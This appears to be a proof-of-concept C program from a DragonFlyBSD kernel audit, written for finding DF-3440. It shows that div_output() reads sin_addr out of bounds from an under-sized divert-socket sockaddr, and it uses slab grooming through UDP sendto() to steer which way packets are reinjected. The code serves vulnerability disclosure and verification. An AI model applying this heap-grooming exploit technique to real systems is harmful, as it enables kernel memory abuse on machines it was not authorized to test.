⬢ DragonFlyBSD Kernel Audit
DF-3440 / div3440.c
← back to finding ↓ download raw
/*
 * div3440.c - DF-3440: div_output() reads sin_port/sin_addr from an
 * unvalidated, under-sized destination sockaddr (divert socket).
 *
 * getsockaddr() (kern/uipc_syscalls.c:1513) kmalloc's EXACTLY namelen
 * bytes (min 4).  div_send() -> div_output() reads, without any length
 * validation:
 *   sin_port @ offset  4..8   (past the buffer for namelen < 8)
 *   sin_addr @ offset  8..12  (past the buffer for namelen < 12)
 * and steers the re-inject direction with it:
 *   DIV_IS_OUTPUT(sin) = (sin==NULL || sin->sin_addr.s_addr == 0)
 *     == 0 -> ip_output()  (ipstat.ips_rawout  -> "fabricated ip header")
 *     != 0 -> ip_input()   (checksum validated -> "bad header checksums"
 *                           when the crafted packet's ip_sum is wrong)
 *
 * Grooming: a preceding sendto() with a 16-byte sockaddr on a UDP
 * socket leaves its bytes in the 16-byte slab chunk (M_SONAME, LIFO
 * reuse).  A following divert sendto() with namelen=9 (16-byte zone,
 * 3 bytes slack) inherits bytes 9..12 of sin_addr from the groom.
 *
 * Expected on a vulnerable kernel:
 *   control A (16B sa, INADDR_ANY, bad-sum pkt)  -> fabricated+1
 *   control B (16B sa, 10.1.2.3,  bad-sum pkt)   -> badsum+1
 *   groom 1.2.3.4 + 9B sa (byte8=0)              -> badsum+1   (OOB!=0)
 *   groom 0.0.0.0 + 9B sa (byte8=0)              -> fabricated+1(OOB==0)
 * i.e. the re-inject direction is a function of out-of-bounds heap
 * bytes recycled inside the under-sized sockaddr allocation.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IPPROTO_DIVERT
#define IPPROTO_DIVERT 258
#endif

static unsigned long
stat1(const char *key)
{
	char cmd[256];
	FILE *f;
	char line[512];

	snprintf(cmd, sizeof(cmd),
	    "netstat -s -p ip 2>/dev/null | grep '%s' | head -1", key);
	f = popen(cmd, "r");
	if (!f)
		return 0;
	if (!fgets(line, sizeof(line), f)) {
		pclose(f);
		return 0;
	}
	pclose(f);
	return strtoul(line, NULL, 10);
}

static int dfd, ufd;
static unsigned char pkt[48];

static void
mkpkt(void)
{
	struct ip *ip = (struct ip *)pkt;

	memset(pkt, 0, sizeof(pkt));
	ip->ip_v = 4;
	ip->ip_hl = 5;
	ip->ip_len = htons(sizeof(pkt));
	ip->ip_id = htons(0x4321);
	ip->ip_ttl = 64;
	ip->ip_p = 1;			/* ICMP */
	inet_pton(AF_INET, "127.0.0.1", &ip->ip_src);
	inet_pton(AF_INET, "127.0.0.1", &ip->ip_dst);
	pkt[20] = 8;			/* ICMP echo request */
	ip->ip_sum = 0xBEEF;		/* deliberately wrong */
}

/* groom the 16-byte M_SONAME zone with the given in_addr bytes */
static void
groom(const char *addr)
{
	struct sockaddr_in g;

	memset(&g, 0, sizeof(g));
	g.sin_len = sizeof(g);
	g.sin_family = AF_INET;
	g.sin_port = htons(9);
	inet_pton(AF_INET, addr, &g.sin_addr);
	sendto(ufd, "x", 1, 0, (struct sockaddr *)&g, sizeof(g));
}

static void
trial(const char *name, const void *sa, socklen_t len, int usegroom,
    const char *gaddr)
{
	unsigned long fab0, fab1, bad0, bad1;

	if (usegroom)
		groom(gaddr);
	fab0 = stat1("fabricated ip header");
	bad0 = stat1("bad header checksums");
	sendto(dfd, pkt, sizeof(pkt), 0, sa, len);
	usleep(200000);
	fab1 = stat1("fabricated ip header");
	bad1 = stat1("bad header checksums");
	printf("%-42s fab %lu->%lu badsum %lu->%lu  => %s\n", name,
	    fab0, fab1, bad0, bad1,
	    (fab1 > fab0) ? "OUTPUT (sin_addr==0 read OOB)" :
	    (bad1 > bad0) ? "INPUT  (sin_addr!=0 read OOB)" :
	    "no effect");
}

int
main(void)
{
	struct sockaddr_in full;
	unsigned char sa9[9];
	unsigned char sa4[4];
	int i;

	if ((dfd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0 ||
	    (ufd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		fprintf(stderr, "socket: %s (need root)\n", strerror(errno));
		return 1;
	}
	mkpkt();

	memset(&full, 0, sizeof(full));
	full.sin_len = sizeof(full);
	full.sin_family = AF_INET;

	/* controls */
	full.sin_addr.s_addr = 0;
	trial("ctrl A: 16B sa INADDR_ANY (want OUTPUT)", &full,
	    sizeof(full), 0, NULL);
	inet_pton(AF_INET, "10.1.2.3", &full.sin_addr);
	trial("ctrl B: 16B sa 10.1.2.3 (want INPUT)", &full,
	    sizeof(full), 0, NULL);

	/* groomed under-sized sockaddr: namelen=9, 16-byte zone, 3B slack */
	memset(sa9, 0, sizeof(sa9));
	sa9[0] = 9;
	sa9[1] = AF_INET;
	trial("groom 1.2.3.4 + 9B sa (want INPUT)", sa9, sizeof(sa9),
	    1, "1.2.3.4");
	trial("groom 0.0.0.0 + 9B sa (want OUTPUT)", sa9, sizeof(sa9),
	    1, "0.0.0.0");
	trial("groom 1.2.3.4 + 9B sa (want INPUT)", sa9, sizeof(sa9),
	    1, "1.2.3.4");
	trial("groom 0.0.0.0 + 9B sa (want OUTPUT)", sa9, sizeof(sa9),
	    1, "0.0.0.0");

	/* ungroomed 4-byte sockaddr: sin_addr wholly OOB (8..12 past an
	 * 8-byte chunk) - direction decided by whatever the heap holds */
	memset(sa4, 0, sizeof(sa4));
	sa4[0] = 4;
	sa4[1] = AF_INET;
	for (i = 0; i < 5; i++)
		trial("ungroomed 4B sa (direction = raw OOB heap)", sa4,
		    sizeof(sa4), 0, NULL);
	return 0;
}